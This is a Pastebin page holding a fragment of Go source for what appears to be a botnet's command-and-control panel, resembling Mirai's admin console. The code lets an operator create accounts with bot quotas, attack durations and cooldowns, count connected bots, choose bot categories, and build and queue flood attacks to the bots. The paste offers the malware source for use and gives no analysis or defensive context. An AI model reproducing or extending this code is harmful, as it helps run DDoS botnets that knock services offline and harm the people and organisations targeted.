Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if userInfo.admin == 1 && cmd == "adduser" {
- this.conn.Write([]byte("Enter new username: "))
- new_un, err := this.ReadLine(false)
- if err != nil {
- return
- }
- this.conn.Write([]byte("Enter new password: "))
- new_pw, err := this.ReadLine(false)
- if err != nil {
- return
- }
- this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
- max_bots_str, err := this.ReadLine(false)
- if err != nil {
- return
- }
- max_bots, err := strconv.Atoi(max_bots_str)
- if err != nil {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
- continue
- }
- this.conn.Write([]byte("Max attack duration (-1 for none): "))
- duration_str, err := this.ReadLine(false)
- if err != nil {
- return
- }
- duration, err := strconv.Atoi(duration_str)
- if err != nil {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
- continue
- }
- this.conn.Write([]byte("Cooldown time (0 for none): "))
- cooldown_str, err := this.ReadLine(false)
- if err != nil {
- return
- }
- cooldown, err := strconv.Atoi(cooldown_str)
- if err != nil {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
- continue
- }
- this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
- confirm, err := this.ReadLine(false)
- if err != nil {
- return
- }
- if confirm != "y" {
- continue
- }
- if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
- } else {
- this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
- }
- continue
- }
- if userInfo.admin == 1 && cmd == "botcount" {
- m := clientList.Distribution()
- for k, v := range m {
- this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
- }
- continue
- }
- if cmd[0] == '-' {
- countSplit := strings.SplitN(cmd, " ", 2)
- count := countSplit[0][1:]
- botCount, err = strconv.Atoi(count)
- if err != nil {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
- continue
- }
- if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
- continue
- }
- cmd = countSplit[1]
- }
- if userInfo.admin == 1 && cmd[0] == '@' {
- cataSplit := strings.SplitN(cmd, " ", 2)
- botCatagory = cataSplit[0][1:]
- cmd = cataSplit[1]
- }
- atk, err := NewAttack(cmd, userInfo.admin)
- if err != nil {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
- } else {
- buf, err := atk.Build()
- if err != nil {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
- } else {
- if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
- this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
- } else if !database.ContainsWhitelistedTargets(atk) {
- clientList.QueueBuf(buf, botCount, botCatagory)
- } else {
- fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement